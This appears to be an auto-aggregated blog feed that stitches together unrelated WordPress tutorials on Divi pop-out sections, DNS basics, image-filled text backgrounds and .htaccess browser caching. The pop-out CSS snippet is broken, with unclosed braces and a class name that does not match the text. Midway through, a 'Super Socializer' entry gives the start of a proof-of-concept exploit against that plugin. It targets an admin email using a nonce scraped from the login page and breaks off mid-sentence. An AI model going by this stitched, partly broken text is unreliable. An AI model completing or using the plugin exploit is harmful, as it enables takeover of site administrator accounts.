How to Create Pop Out Sections with Divi’s Boxed Layout

Creating pop out sections on your website can really make your content stand out. Plus, this pop out design technique can be applied to any Divi layout for countless combinations.

In this tutorial, I’ll be showing you how to use Divi’s box layout and the Divi Builder to create pop out sections and rows on your website. All it takes is a small amount of custom CSS that extends the section or row past the page container. You can then make additional adjustments and styling using the Divi Builder.

Let’s get started!

Sneak Peek

Here is an example of what you will be able to do:


How to Create Pop Out Sections with Divi’s Boxed Layout

Subscribe To Our Youtube Channel

Upload Your Divi Layout

In order to demonstrate how this pop out works, I’m going to use Divi’s Software Marketing Landing Page layout. To use the layout, create a new page, deploy the visual builder, open the settings menu, click the add from library button, select the Software Marketing Landing Page Layout, and click the “Use This Layout” button.

add layout

Save and Publish your page.

Enable Box Layout in Theme Customizer

The next step is to deploy Divi’s box layout. From your WordPress dashboard, navigate to Divi > Theme Customizer > General Settings > Layout Settings. Then click the check box to enable boxed layout and publish your changes.

enable boxed

Add Custom CSS to Theme Customizer

Next on the list is adding a few snippets of custom CSS. In the Theme Customizer select Additional CSS and add the following Custom CSS in the edit field:

@media (min-width: 980px) {
/*** Adjust default box layout width and allow overflowing sections to become visible ***/
.et_boxed_layout #page-container{
	overflow-y: visible !important;
	width: 80%;
	-webkit-box-shadow: 0px 2px 60px 0px rgba(0,0,0,0.2);
        -moz-box-shadow: 0px 2px 60px 0px rgba(0,0,0,0.2);
        box-shadow: 0px 2px 60px 0px rgba(0,0,0,0.2);
/*** custom class to increase the max width of your pop out sections ***/
.pop out-section {
  width: 120% !important;

As the comments in the css suggest already, the first css snippet allows the overflowing sections to become visible using “overflow-y: visible”. I also added a shadow (box-shadow) to the box layout, but if you want to keep the default one just leave this out. There is also an adjustment to the default box layout width (or page container). I added this to allow for more “pop out” room on each side of the container. Since the width is now 80% (it was 90%), you will have 10% of margin space on each side of the container to allow for your pop out to extend.

Since we have an extra 20% of space, I created a second snippet with a CSS class (named “popout-section”) that will set the default width to 120% (20% more than 100% of the width of the container) for any row or section you add the CSS class to.

Add the CSS Class to Your Section

To add the CSS Class to your section, open the section settings and, under the advanced tab, enter “popout-section” in the CSS Class input field.

add css class

Once you add the CSS Class “popout-section” to your section, you should notice that your section has grown in width and extending past the right side of your page container. This means that your CSS is working by increasing the width of your section to 120%. I didn’t completely customize the section using Custom CSS because I thought it best to leave some room for adjustments using the Divi Builder.

Adjusting Your Pop Out Section with the Divi Builder

Now that you have a section with 120% width, you can use the Divi Builder to fine tune your pop out width and position. Open you section settings under the design tab and change the width of your section by entering the percentage value in the field. You can enter any value between 100-120%. I think 110% is a great happy medium. Enter 110% in the width field.

110 percent

Now you need to adjust the margin to center the pop out section. Since the section is extending 10% to the right of the page container, we need to move it 5% to the left. To do this, enter a custom left margin of -5%.

left margin

If you set your width to 120%, you would need to add a left margin of -10%.

Next select the first box shadow option and give it a blur strength of 60px. And change the shadow color to rgba(0,0,0,0.2).

box shadow

Create a Pop Out Row

To create a pop out row, you will follow the same basic process as when you create a pop out section. Add the CSS Class “popout-section” to the Row Settings under the Advanced tab. Then under the design tab, select to use custom width, select the percentage unit option, and then enter 110% for the width.

custom row width

Then set a -5% left margin.

Instead of adding background color and box shadow to the row, you can choose to create the pop out effect on the modules that extend past the page container. Simply edit the module settings, add a white background color, and give it a box shadow with a blur strength of 60px and the color rgba(0,0,0,0.2).

box shadow module

Final Thoughts

Creating pop out sections on a box layout is a unique way to set your design apart with the added bonus of making your content stand out. All it takes is a little custom CSS and you can add a CSS class to any row or section to extend it past the page container. After that, you can adjust your row or section using the Divi Builder settings. This tutorial merely introduces the design concept, but feel free to experiment with your own application of the pop out design.

Looking forward to hearing from you in the comments.


The post How to Create Pop Out Sections with Divi’s Boxed Layout appeared first on Elegant Themes Blog.

Powered by WPeMatico

An Introduction to the Domain Name System (DNS) And How it Works

Every website has an IP address that identifies it among all others. Theoretically, you could navigate the web using only IP addresses instead of domain names, but this wouldn’t be practical. To understand how IP addresses and domains relate to each other, you need to get to know the Domain Name System (DNS).

The DNS enables us to navigate the web more intuitively. In this article, we’re going to talk more about what the DNS is and how it works. Then, we’ll introduce you to multiple DNS-related terms you should know and talk about why they’re important. Let’s jump right in!

An Introduction to the Domain Name System (And How it Works)

If you’ve ever used a browser, you know the drill – you type a domain, click enter, and it loads the page you want. It’s a simple process that works even though there are over a billion websites available online.

However, each of those websites also has a unique IP address you can use to move between them. Those IP addresses correspond to the servers that host each website. When you register a new domain, you’re telling the world, “Hey, this URL leads to this particular IP address!”. That way, users don’t need to remember complicated strings of numbers.

The thing is, your browser doesn’t automatically know what domain name leads to each address. It has to check the DNS to see what address it corresponds to before sending you there. This is a system that stores information about which domains and IP addresses are linked.

As you might expect, this is too much information for a single computer to handle. Instead, we’re talking about a decentralized system, with plenty of companies that run their own servers. Google, for example, runs a public DNS server, as does Verisign, and Yandex. Most domain registrars also operate their own ones. Usually, this is down to security and speed concerns, and they often dominate the discussion regarding benefits:

Google's Public DNS page.

To explain a little more about how the system works, when you register a domain name, it ‘propagates’ the information across all DNS servers. This can take up to 48 hours (hence the oft-repeated warning from registrars).

Your Internet Service Provider (ISP) probably runs a DNS server as well, and your router may be configured to use it by default. Ideally, most DNS servers should work just the same, but there are benefits to using a public one if, for example, your ISP blocks certain websites.

6 DNS-Related Terms You Should Know

If you ever want to register a domain, migrate one, or point it towards a site, you’ll need to deal with the DNS. However, there are plenty of terms you may run across that might sound confusing, so let’s talk about the most popular ones and explain what they are.

1. ‘A’ Records

An example of an A record.

When you link a domain name to a specific IP address, you’re creating what’s known as an A record. As we explained earlier, these records are at the heart of the DNS. Without them, users wouldn’t be able to find your website through its domain.

2. ‘CNAME’ Records

An example of a CNAME record.

This is where things start getting a bit more complex. CNAME records don’t point users towards a specific IP address, but instead, towards other domain names.

For example, you can have a CNAME record that points to This means users will be able to reach the website regardless of whichever address they type on their navigation bar. In the example above, when a visitor types, they go to, which in turn leads to a specific IP address if you configured an A record.

Technically, you could also set up both www and non-www variations of an URL to lead to the same website using A name records. However, you should always aim to use a default or ‘canonical’ domain name to avoid search engines penalizing you for duplicate content.

3. ‘MX’ Records

Changing your MX records.

MX records deal with email specifically. In most cases, when you sign up for a hosting plan, you also get access to free associated email accounts. In these cases, your web host will probably take care of setting up MX records for you. These simply indicate the mail servers that will receive incoming messages and where to route them to.

If your hosting provider or registrar doesn’t offer email hosting, you can always set up MX records pointing to different mail servers.

4. ‘Nameserver’

Configuring your nameserver.

In most cases, people use the term ‘nameserver’ interchangeably with DNS servers. To be fully accurate, nameservers are computers running DNS software. When you register a domain, you can assign nameservers to it, which in most cases are those run by the registrar you used.

To put it another way, nameservers link your domain’s information to the service you used to register it, be it a hosting company or a registrar. When you migrate a domain, you also need to switch its nameservers and wait for the changes to propagate once more.

5. ‘Zone Files’

Your domain’s zone files include all of its DNS-related settings, and they’re stored within your nameservers. For example, each record associated with your domain goes into your zone file in simple text format, which simplifies its interpretation and migration process.

When you make changes to your DNS settings, you’re updating your zone file. Most changes will generally take place via a graphical interface. However, most registrars and web hosts also enable you to export copies of your zone file for backup purposes.

6. ‘Time-to-Live’ (TTL)

Checking your record's TTLs.

TTL is a setting that tells your nameservers how often it should update your DNS records. For example, if you change your A record and your TTL is set to two hours, it won’t start propagating the update until that time. Most modern registrars enable you to set your TTL settings to low limits, such as one or five minutes.

In practice, you don’t need low TTL times for A and CNAME records – at least in most cases – since you shouldn’t be making changes to them often. However, there are plenty of situations where setting low TTL times can come in handy, so having this flexibility is handy for advanced users.


In short, the DNS is a big part of what makes it possible for us to navigate the web intuitively. It’s important you understand how it works if you’re going to run a website, since you’ll need to deal with it often. For example, registering domains, pointing them towards a site, and migrating them all involve using the DNS, and they’re simple tasks you should be able to do.

Once you know how the DNS works, there are a few extra terms you should get acquainted with, such as:

  1. A records: These records link your domain name to an IP address.
  2. CNAME records: With these records, you can point domains towards other URLs.
  3. MX records: This type of record enables you to receive incoming emails to your domain.
  4. Nameservers: These are your domain registrar or hosting provider’s DNS servers.
  5. Zone files: This file stores all your DNS-related information and it’s stored on your nameserver.
  6. Time-to-live (TTL): With this setting, you can configure how often your DNS configuration is updated.

Do you have any questions about what is the DNS? Let’s talk about them in the comments section below!

Article thumbnail image by Aa Amie /

An Introduction to the Domain Name System (And How it Works)

Domains enable us to navigate the web without having to remember long IP addresses for each website. However, many people have no idea how the Domain Name System (DNS) works. In this article, we’ll talk about what is the DNS and how it’s structured!

The post An Introduction to the Domain Name System (DNS) And How it Works appeared first on Elegant Themes Blog.

Powered by WPeMatico

How to Fill Text with Images for Creative Backgrounds using Divi

Filling text with images is a great way to add a modern design to your website. With Divi’s blend modes, you can show background images through any text you want. And, using custom margins within the Divi Builder, you can position the image-filled text to serve as a background for your content.

In this tutorial, I’m going to show you how to use the screen blend mode to add colorful image-filled text backgrounds using Divi. I’ll also show you how to add dividers that match the design of your background text and sections that transition smoothly between dividers.

Let’s get started.

Sneak Peek

Here is a sneak peek of what we will be created today.


Getting Prepared

To help you complete this tutorial, you will need the following:

  • Divi Theme (installed, active and updated)
  • 4 Images to use for each text background. For best results, I suggest using darker images with a lot of texture and at least 1920×1080 in size.
  • Visual Builder Grid Interaction Mode – Since we are going to be overlapping modules and creating a more complex layout, I suggest using the grid interaction mode so that you can avoid confusion when trying to hover over elements that are overlapping within the visual builder.

grid mode

How to Fill Text with Images for Creative Backgrounds using Divi

Subscribe To Our Youtube Channel

Create First Section

Create a new page and deploy the visual builder. Then add a regular section with a one-column row (or just use the one already there by default), and add a text module to the row column.

text module

Update the Text Module Settings

Open the text module settings and update the following:


Content: 01 (this will be the number used for our background)
Background Color: #ffffff


Text Font: Poppins
Text Font Weight: Heavy
Text Text Size: 40em (desktop), 25em (tablet), 15em (smartphone)
Text Text Color: rgba(131,0,233,0.65)
Text Orientation: Center
Custom Padding: 288px top, 288px bottom
Border Width: 1px
Border Color: #ffffff
Blend Mode: Screen

number design settings

Note: The white background and the screen blend mode is what creates the effect of seeing the row background (not created yet) through the text module.

Next add a new one-column row under the current row and then add a call to action module to it.

call to action module

Update the Call to Action Module Settings

Update the Call to Action module with the following:


Title: Discover
Button Text: Learn More
Button URL: #
Background Color: rgba(255,255,255,0) (this is transparent)


Text Color: Dark
Text Orientation: Left
Title Font: Poppins
Title Font Weight: Heavy
Title Font Style: TT
Title Text Size: 70px (desktop), 50px (tablet), 40px (smartphone)
Title Text Color: rgba(0,0,0,0.62)
Title Letter Spacing: 4px

Body Font: Poppins
Body Font Weight: Light
Body Text Size: 32px (desktop), 24px (tablet)
Body Text Color: #333333
Body Line Height: 1.3em

Use Custom Styles for Button: YES
Button Text color: #8300e9
Button Background Color: rgba(255,255,255,0.85)

Custom Margin: -600px top, 40% bottom

Note: I set the top margin with a pixel value because I wanted limited the movement of the module when adjusting browser widths. I set the bottom margin to 40% in order to keep the bottom section from overlapping the row that holds this module. Setting it to a percentage helps adjust the bottom margin on mobile devices.

cta design

Update Row Settings

Now that we have our content in place, let’s edit our first row settings as follows.


Column 1 Background Image: Insert Image

Here is the image I’m using…



Make this Row Fullwidth: YES
Custom Gutter Width: 1
Custom Padding: 10% Top, 7% Bottom
Border width: 1px
Border Color: #ffffff

In the second row, update the settings as follows:

Custom padding: 0px Top, 0px Bottom

At this point we are done with our first successful background text.

We are limited to a white background surrounding the text because of the way the screen blend mode works. But we can add some color by adding some dividers to our section.

Add Dividers to your Section

To add a divider, go to the section settings under the design tab and update the following.

Top Divider…

Divider Style: see screenshot
Divider Color: rgba(131,0,233,0.65)
Divider Height: 127px
Divider Arrangement: On Top of Section Content

top divider

Bottom Divider…

Divider Style: see screenshot
Divider Color: rgba(131,0,233,0.65)
Divider Height: 249px (desktop), 127px (tablet)
Divider flip: vertical and horizontal
Divider Arrangement: On Top of Section Content

bottom divider

Adding the Transition Section

Before we start our next section, we must first create a regular section to serve as a smooth transition of color between the bottom and top dividers. To create the transition, we must use the color of the bottom divider above and top divider below (sorry, that may be a tad bit confusing). With those two colors, we will create a background gradient to transition from the divider above with the divider below.

Go ahead and add a new regular section, but delete the row column because we won’t be using any rows for this section. Then under the content tab, add a background gradient with the first color being the same color we used for the section above: rgba(131,0,233,0.65).

For the second color, use the following: rgba(233,0,255,0.65)

This will be the color of our next section dividers.

first transition

At this point, all of the brunt work has been done. All there is left to do to complete the next 3 sections is duplicate the section we already have and update some content and colors.

Create the Second Section

For the second section, copy our first section we created and paste it below the transition section.

Complete the following:

  1. Update the section Top and Bottom Divider Colors to rgba(233,0,255,0.65).
  2. Change the top row 1 column background image.
  3. Update the text module with the number 02, and then change the text text color to rgba(233,0,255,0.65).
  4. Change the blurb module title to read “Design”.
  5. Update the blurb module button text color to #e900ff.
  6. Add another transition section below with these two colors for the gradient background:

    rgba(233,0,255,0.65) , rgba(12,113,195,0.65)

section two

Creating the Third Section

For the third section, copy one of the sections we already created and paste it below the second transition section.

Complete the following:

  1. Update the section Top and Bottom Divider Colors to rgba(12,113,195,0.65).
  2. Change the top row 1 column background image.
  3. Update the text module with the number 03, and then change the text text color to rgba(12,113,195,0.65).
  4. Change the blurb module title to read “Develop”.
  5. Update the blurb module button text color to #0c71c3.
  6. Add another transition section below with these two colors for the gradient background:

    rgba(12,113,195,0.65) , rgba(124,218,36,0.65)

section three

Creating the Fourth Section

For the fourth section, copy one of the sections we already created and paste it below the third transition section.

Complete the following:

  1. Update the section Top and Bottom Divider Colors to rgba(124,218,36,0.65).
  2. Update the text module with the text “Go”, and then change the text text color to rgba(124,218,36,0.65).
  3. Change the top row 1 column background image.
  4. Change the blurb module title to read “Deliver”.
  5. Update the blurb module button text color to #68d800.

section four

Here is the final result:

final text background page

It’s Responsive

The design process used in this tutorial includes setting custom spacing elements (margin and spacing) and text sizes for each mobile device. This way any advanced customizations set on desktop will also render nicely on mobile.

Here is what our design looks like on tablet and smartphone.

responsive example

Create a Dark Version

The Screen Blend Mode works by blending the text module elements with the row background image and then displaying a lighter mixture of the two elements. Similarly, the Multiply Blend Mode mixes the two but, instead of showing a lighter version, it shows a darker version of the mixed elements. This is obvious if you toggle between Multiply and Screen when editing your settings.

You can use the multiply blend mode in place of your screen blend mode to create a dark version of this design. To do that all, you will need to do is set the section background color and the text module background color to black (and also the border colors if you have borders). Change the text module blend mode to Multiply. Then change your Call to Action Title text and body text to a lighter/white color.

That’s it. Here is an example of what a dark version will look like.

dark example

Limitations and Fallbacks to this Design

Because of the way the screen and multiple blend modes work, this effect works best with white and black backgrounds. Any other colors will most likely show the background image through the whole module, not just the text. However, you design ninjas out there may know some tricks that I don’t, so don’t hesitate to share those with us in the comments.

Also, the screen mix-blend-mode used to create our image-filled text backgrounds does not play well on IE, Edge, and Opera mini. This is not a big deal because, even though the background will not show through the text and the text color will still be displayed. This is a great fallback so you should keep this in mind whenever you are setting the text color for your background text.

Here is an example of what the design looks like on IE.

ie example

Final Thoughts

With Divi, you can fill any text you want with any image you want, all from the comfort of the Visual Builder. The example design used in this tutorial is really meant to be inspiration for so much more. So, test it out for yourself and build something amazing.

This tutorial was inspired by the post series on How to Recreate the Color Filters Effects & Blend Mode Examples.

I look forward to hearing from you in the comments.


The post How to Fill Text with Images for Creative Backgrounds using Divi appeared first on Elegant Themes Blog.

Powered by WPeMatico

How to Manually Configure WordPress Browser Caching

Caching is one of the most effective ways to ensure your website loads faster for your visitors. However, for optimal results, your site should tell browsers exactly what content they need to cache. Caching plugins often don’t give you full control over these settings, so it’s up to you to configure them manually.

Fortunately, WordPress enables you to do this rather simply. All it takes is to make a few changes to your .htaccess file. In this article, we’ll talk more about what browser caching is, how to check if your website leverages it correctly, and how to configure it. Let’s get to work!

An Introduction to Browser Caching

Ideally, when someone visits your website, their browser will save some of its content locally so it doesn’t have to reload it on subsequent visits. This practice is known as ‘browser caching’ and here’s why it’s a good idea to implement on your website:

  • It decreases loading times. The fewer resources an user has to load, the faster your site should render.
  • Potentially lower bounce rates. There’s a direct correlation between loading times and bounce rates. The higher the former is, the bigger the chance of visitors bailing on your website.
  • It reduces the amount of work your server has to do. Since repeat visitors don’t need to load content from your server, it doesn’t have to work as hard to keep up with traffic.

It’s important to understand, in most cases, you don’t want browsers to cache your entire websites. Many sites now include a lot of interactive content that updates constantly. This means if users cache entire pages, they might miss out on changes to them.

Given this, you need to be picky about the content you tell browsers to cache. For example, images, logos, and Cascading Stylesheets (CSS) don’t change often. This means you can simply tell browsers to cache them and specific a length of time. Ideally, your website’s caching configuration should make distinctions between the types of files that get (or don’t get) regular updates. This way, users won’t have to empty their caches manually to see any changes you’ve made to your site.

How to Check If Your WordPress Website Leverages Browser Caching Correctly

When we talk about leveraging WordPress caching, we refer to configuring your website so browsers know what content they need to store locally, and for how long. The easiest way to find out if a site leverages browser caching correctly is to use a tool such as Google PageSpeed Insights, which analyzes this and other settings. To get started, enter your website’s URL and click on the Analyze button:

Analyzing a website using Google PageSpeed Insights.

PageSpeed Insights will score your website’s optimization on both mobile and desktop. For each ‘version’ of your site, you’ll get an individual score ranging from 0–100, along with suggestions on how to improve it. One of the key factors PageSpeed Insights takes into consideration when it calculates your score is whether your website leverages browser caching:

Google PageSpeed Insight results for a website that leverages browser caching.

If you configure your WordPress website correctly, you won’t see the above message, and you should get a decent PageSpeed Insights score. Keep in mind – Divi is optimized in several aspects to provide you with a decent PageSpeed Insights score out of the box. However, there are a lot of ways you can improve your website’s performance, and learning about them is a fantastic way to invest your time.

How to Manually Configure WordPress Browser Caching (In 2 Steps)

In the past, we’ve talked about caching plugins and what the top options are. These types of tools are excellent if you don’t want to mess around with your WordPress site’s configuration. However, if you don’t mind adding a few lines of codes to one of your core files, you can get a much greater level of control over your browser caching configuration. Before you proceed, you should have a recent backup of your website in place, just in case!

Step #1:  Access Your Website Via FTP

In the next section, you’ll need to access your .htaccess file and edit it. The best way to do this is to use File Transfer Protocol (FTP), via a dedicated client. We’re partial to FileZilla since it packs a lot of features and it’s rather simple to use.

To get started, install the client and execute it. You’ll see four empty fields at the top of the screen, reading HostUsernamePassword, and Port:

The FileZilla client.

You’ll need a specific set of FTP credentials to log into your website using this protocol. In most cases, you should have received them via email when you signed up with your hosting provider. However, you should also be able to find them on your hosting dashboard or via cPanel.

Once you have your credentials, enter them and click on the Quickconnect button. FileZilla will establish a connection to your website, and one or several folders should appear on the lower-right side of your screen. One of them should be your WordPress root folder (also called www, public_html, or named after your website), where all its files reside:

Your WordPress root folder.

Once you open the directory, move on to step number two!

Step #2: Edit Your .htaccess File

.htaccess is a WordPress core file that instructs your server on how it should serve files and pages. For example, if you’re using pretty permalinks, .htaccess will include instructions on how to handle them. You can also configure the file to block access to specific pages for particular IPs, and much more.

In this case, we’re going to use .htaccess to tell your server which files to cache. To do so, look for the .htaccess file within your root directory. Right-click on it, and choose the View/Edit option. This will open the file using your local text editor, enabling you to make changes to it:

A WordPress htaccess file.

Before you add any new code to your .htaccess file, scroll down until you find the line reading # END WordPress. In most cases (including this one), you want to add new code to the file before that line. Here’s an example of a simple browser caching configuration you can implement right away:

ExpiresActive On
ExpiresByType image/jpg "access 1 year"
ExpiresByType image/jpeg "access 1 year"
ExpiresByType image/gif "access 1 year"
ExpiresByType image/png "access 1 year"

If you’re running a WordPress blog, for example, chances are you won’t be making regular changes to your post’s images or your site’s logo. In this case, we can store those files on your visitor’s browser cache for a long while – let’s say one year. In the code above, we cover all of the most popular types of images in one fell swoop. The first half of each line indicates the type of file we’re dealing with, and the second sets an expiration date for it:

ExpiresByType image/jpg "access 1 year"

Of course, not all content should be cached for a year, so we can play around with the value. In this example, we added instructions for caching HTML, CSS, and JavaScript files:

ExpiresActive On
ExpiresByType image/jpg "access 1 year"
ExpiresByType image/jpeg "access 1 year"
ExpiresByType image/gif "access 1 year"
ExpiresByType image/png "access 1 year"
ExpiresByType text/css "access 1 week"
ExpiresByType text/html "access 1 month"
ExpiresByType text/x-javascript "access 1 week"

Here, we set our HTML content to update after a month from the first time visitors access it, which is a reasonable timeframe. CSS and JavaScript files, on the other hand, tend to vary more often when you’re using complex themes such as Divi, or several plugins. With that in mind, we set their cache expiry dates to one week after access.

As you implement those rules using your .htaccess file, you’ll have a solid browser caching foundation. Let’s cover our bases by adding instructions for other file types:

ExpiresActive On
ExpiresByType image/jpg "access 1 year"
ExpiresByType image/jpeg "access 1 year"
ExpiresByType image/gif "access 1 year"
ExpiresByType image/png "access 1 year"
ExpiresByType text/css "access 1 week"
ExpiresByType text/html "access 1 month"
ExpiresByType text/x-javascript "access 1 week"
ExpiresDefault "access 1 month"

The line starting with ExpiresDefault sets a default cache time of one month for all your files. However, you can override it by adding caching instructions for particular file types. The point here is to catch the other file types that might not warrant individual rules, to boost your website’s loading times even further.

Now, remember to save the changes to your WordPress .htaccess file and close your text editor. FileZilla will ask you if you want to override the .htaccess file on your server with the new version, to which you should say: “Yes”. Now go ahead and test your website using PageSpeed Insights one more time – the browser caching optimization suggestion should be gone!


Enabling a caching plugin for your website is easy. However, it often doesn’t give you full control over the type of content it stores on your user’s computers, or for how long. The manual approach enables you to tailor you caching configuration for your website’s content, and it’s not difficult to implement.

All it takes to configure browser caching manually is to make a few changes to your .htaccess file via FTP. If you’re not afraid of a little code, you should be able to set it up quickly. Then, you can test your website using Google PageSpeed Insights to see if it leverages browser caching properly.

Do you have any questions about how to manually configure WordPress browser caching? Let’s talk about them in the comments section below!

Article thumbnail image by Crystal Eye Studio /

The post How to Manually Configure WordPress Browser Caching appeared first on Elegant Themes Blog.

Powered by WPeMatico

Super Socializer

Proof of Concept// Steps: // Fill this 3 variable var url = ‘’, //website url. Closing slash required email = ‘’, //The admin email address to exploit nonce = ‘e86377d05a’; // View the source of the login page: and search for `security`. copy here the nonce value Ex.: var the_champ_sl_ajax_token = {“ajax_url”:””,”security”:”e86377d05a”}; // Click on Run in JsFiddle and

Powered by WPeMatico

How To Create a Cool 3D Tilt Effect With Themify Builder

3D Tilt is a fun new way for users to experience your website. Instead of having all your images and text static, 3D Tilt allows images and text to float and glide slightly as the user moves their cursor over each item. Check out our demo to get a taste of 3D Tilt. Then use […]

The post How To Create a Cool 3D Tilt Effect With Themify Builder appeared first on Themify.

Powered by WPeMatico